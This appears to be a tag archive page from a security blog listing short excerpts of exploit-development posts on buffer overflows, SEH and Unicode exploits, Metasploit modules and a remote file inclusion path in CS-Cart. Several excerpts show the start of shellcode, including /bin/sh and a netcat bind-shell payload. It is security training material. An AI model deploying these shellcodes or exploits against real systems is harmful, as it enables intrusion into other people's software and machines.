Exploit Development | Spentera Blog

Tagged

Exploit Development

Articles and posts related to the exploit development process, including techniques to bypass various kinds of protection in the operating system.

Zahir Accounting Enterprise Plus 6 <= build 10b 0day Exploit Vulnerability Discovery

Exploit Development

Zahir Accounting Enterprise Plus 6 <= build 10b 0day Exploit Vulnerability Discovery

Zahir Accounting adalah software akuntansi yang sangat banyak digunakan oleh tingkatan SOHO (Small Office Home Office) di Indonesia. Selain harganya yang terjangkau, Zahir memiliki fitur yang lebih dari cukup untuk menyelesaikan pencatatan akuntansi yang tanggung, dalam arti mampu menyisir tingkat menengah ke bawah dan juga mampu menghadapi tantangan akuntansi yang

CyberLink LabelPrint: Buffer Overflow

Exploit Development

CyberLink LabelPrint: Buffer Overflow

It’s been a while since our last post about exploitation. This time, we try to explain a stack-based overflow on Cyberlink LabelPrint, a tool to assist in designing labels for CD / DVD covers. It is included in the installation of Cyberlink Power2Go, PowerDVD, and Power Producer software and

ALLPlayer: Buffer Overflow (SEH Unicode)

Exploit Development

ALLPlayer: Buffer Overflow (SEH Unicode)

After playing around with unicode stack overflow, I try to do it on an application called AllPlayer. The techniques used are not much different, so the result will be the same as the previous exploits. It seems that this application is never updated by the developer, despite being widely used.

CyberLink Power2Go: Unicode Stack Overflow

Exploit Development

CyberLink Power2Go: Unicode Stack Overflow

The proof of concept of the vulnerability has been released on 9 December 2011, and no further announcement from CyberLink. I tried to coordinate the issue until they didn’t contact me anymore. A week after our last email, they updated the product, and yes it’s Power2Go

BlazeVideo HDTV Player 6.x Buffer Overflow (another version)

Exploit Development

BlazeVideo HDTV Player 6.x Buffer Overflow (another version)

Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal. Take a look at mona.py ? awesome tool developed by corelanc0d3r and his team So here is the

ScriptFTP <=3.3 Remote Buffer Overflow Exploit (MSF)

Exploit Development

ScriptFTP <=3.3 Remote Buffer Overflow Exploit (MSF)

You might be read about the previous post ScriptFTP Remote BOF, if you are a Metasploit user, you can add this exploit module to your Metasploit Framework. Update: Metasploit has released module for ScriptFTP. You can use it now on Metasploit. . Credit goes to: Cyberheb Otoy TecR0c mr_me

Porting Your Exploit to Metasploit

Exploit Development

Porting Your Exploit to Metasploit

Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit. Kita akan meng-konversi exploit yang pertama,

SEH Based Stack Overflow - The Basic

Exploit Development

SEH Based Stack Overflow - The Basic

Kali ini saya akan coba tehnik lain dari stack overflow, yaitu stack overflow berbasis SEH. Apa itu SEH? silakan dibaca diliteratur-literatur berikut: Structured Exception Handling Win32 Exception handling for assembler programmers Tidak ada yang lebih menyenangkan daripada belajar sambil mencoba. Kita akan mencoba SEH based stack overflow pada program yang

Mel0nPlayer 1.0.11.x Denial of Service POC

Exploit Development

Mel0nPlayer 1.0.11.x Denial of Service POC

Software Description Mel0n Player is a famous software in Indonesia to play songs that are provided by the Melon portal (http://www.melon.co.id). This software can play any music file types such as mp3, wav, wma, mp4, and others. This player can also play the files on your

Some Documents of File Specifications/Formats

Exploit Development

Some Documents of File Specifications/Formats

Here are some documents to help you understand some file formats/headers, for file format fuzzing purpose: WAVE PCM soundfile format (RIFF) https://ccrma.stanford.edu/courses/422/projects/WaveFormat/ ZIP File format specification http://www.pkware.com/documents/casestudies/APPNOTE.TXT MPEG File format http://www.mpgedit.org/mpgedit/

FTPGetter v3.58.0.21 Buffer Overflow (PASV) Exploit

Exploit Development

FTPGetter v3.58.0.21 Buffer Overflow (PASV) Exploit

A vulnerability has been discovered in FTPGetter, which can be exploited by malicious people to compromise a user’s system. The issue is likely due to insufficient bounds checking and presents itself when the affected FTP client makes a connection to a malicious server that is running PASV mode.

HttpBlitz Web Server Denial Of Service Exploit

Exploit Development

HttpBlitz Web Server Denial Of Service Exploit

HttpBlitz Server is prone to a remote denial-of-service vulnerability. Attackers can exploit this issue to cause the application to crash, denying service to legitimate users. #!/usr/bin/python # Title: HttpBlitz DOS # Date: 12/24/2010 # Author: otoy # Software Link: http://sourceforge.net/projects/httpblitz/files/HttpBlitz.msi/download # Tested on:

Exploit Development

27 Bytes - Windows XP SP3 (en) calc win32 Shellcode

/* ========================================================================== ___ _ __ __ __ _ __ ____/ (_)___ _(_) /_____ _/ / ___ _____/ /_ (_)___/ /___ ____ _ / __ / / __ `/ / __/ __ `/ /_____/ _ / ___/ __ / / __ / __ / __ `/ / /_/ / / /_/ / / /_/ /_/ / /_____/ __/ /__/ / / / / /_/ / / / / /_/ / __,_/_/__, /_/__/__,_/_/ ___/___/_/ /_/_/__,_/_/ /_/__,_/ /____/ http://www.digital-echidna.org ========================================================================== Title : Windows XP SP3 (EN) 32-bit - calc Shellcode 27 bytes Author : otoy Tested on : WinXP Pro SP3 (EN) 32 bit Greetz : say hello to all digital-echidna org crew: modpr0be, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix special thx to offsec, exploit-db and corelan team */ /*shellcodetest.

Exploit Development

53 bytes - Windows XP SP3 (en) notepad.exe win32 Shellcode

Finally, my first win32 shellcode.. This will execute notepad.exe when loaded. Run on Windows XP SP3 English. /* (o_Ov) say hello to all digital-echidna org crew: otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix special thx to offsec, exploit-db, and corelan team */ /*shellcodetest.c*/ char code[] = "\x31\xc0\x50\

A polymorphic shellcode maker

/* A polymorphic shellcode maker original prorgam created by Rizki Wicaksono(http://www.ilmuhacking.com) i add some functions to make it more interesting, i add "sub,add" functions beside the original xor into decoder otoy(http://otoyrood.wordpress.com) 0x82010 */ #include <sys/time.h> #include <stdlib.h&

Exploit Development

Find DLL Hijacking Flaws with DLLHijackAuditKit v2

Metasploit has released DLLHijackAuditKit v2 to determine DLL vulnerabilities that still existing in the wild. This tool will scan possible DLL vulnerability and log the result to CSV file. DLLHijackAuditKit v2 can also make a PoC (will try to hijack the DLL and running calc.exe, of course this is

Exploit Development

86 Bytes – Polymorphic "netcat bindport 55155" Shellcode

/* Name : 86 bytes "polymorphic - netcat bindport 55155" Info : this shellcode create a bindport 55155 with netcat Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "\xeb\x13\x5e\x31\xc9\xb1\x3c\x80\

Exploit Development

28 Bytes “/bin/sh” Shellcode (for bof exploit)

/* Name : 28 bytes "/bin/sh" shellcode - execve(/bin/sh,[/bin/sh,null,null],null) Info : A woking shellcode for bof exploit Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h> char shellcode[] = "\x31\xc0\x89\

Exploit Development

20 Bytes “/bin/sh” Shellcode

Akhirnya… Shellcode pertama… ? /* Name : 20 bytes "/bin/sh" shellcode - execve(/bin/sh,..,..) Info : this shell workout without zeroing registers it used first (eax,ebx,ecx) Author : otoy Blog : http://otoyrood.wordpress.com Date : August 2010 Tested on: ubuntu 8.04 & Backtrack 4 */ #include <stdio.h&

Exploit Development

Egg Hunter

Apa sih..?? berburu telur paskah…?? heemm… egghunter adalah salah satu tehnik yang digunakan dalam pembuatan exploit. Ada kalanya ketika kita menulis sebuah exploit, kita berhadapan dengan “ruang” yang sempit untuk memasukan shellcode yang kita miliki, untuk mengakali sempitnya “ruang” tersebut, kita bisa menggunakan tehnik

Exploit Development

Batch Audio Converter <=1.0.0 Stack Overflow SEH

Kebetulan sedang mencari aplikasi yang bisa diotak-atik untuk bermain SEH exploitation, saya menemukan aplikasi Batch Audio Converter (kemungkinan sudah mati websitenya) dan berhasil di eksploitasi dengan sukses melalui tehnik SEH Overflow (tulisan mengenai SEH secara jelas bisa dilihat di situs Peter Van Eeckhoutte dan situs underground Indonesia tertua, Kecoak Elektronik)

Exploit Development

PHP include exploitation with Metasploit

Metasploit support for PHP Include exploitation, or simply known as RFI (Remote File Inclusion). I will show you how this work on CS-Cart 1.3.3 which vulnerable to remote file inclusion. The vulnerable path is at classes/phpmailer/class.cs_phpmailer.php?classes_dir=[include arbitrary php code] so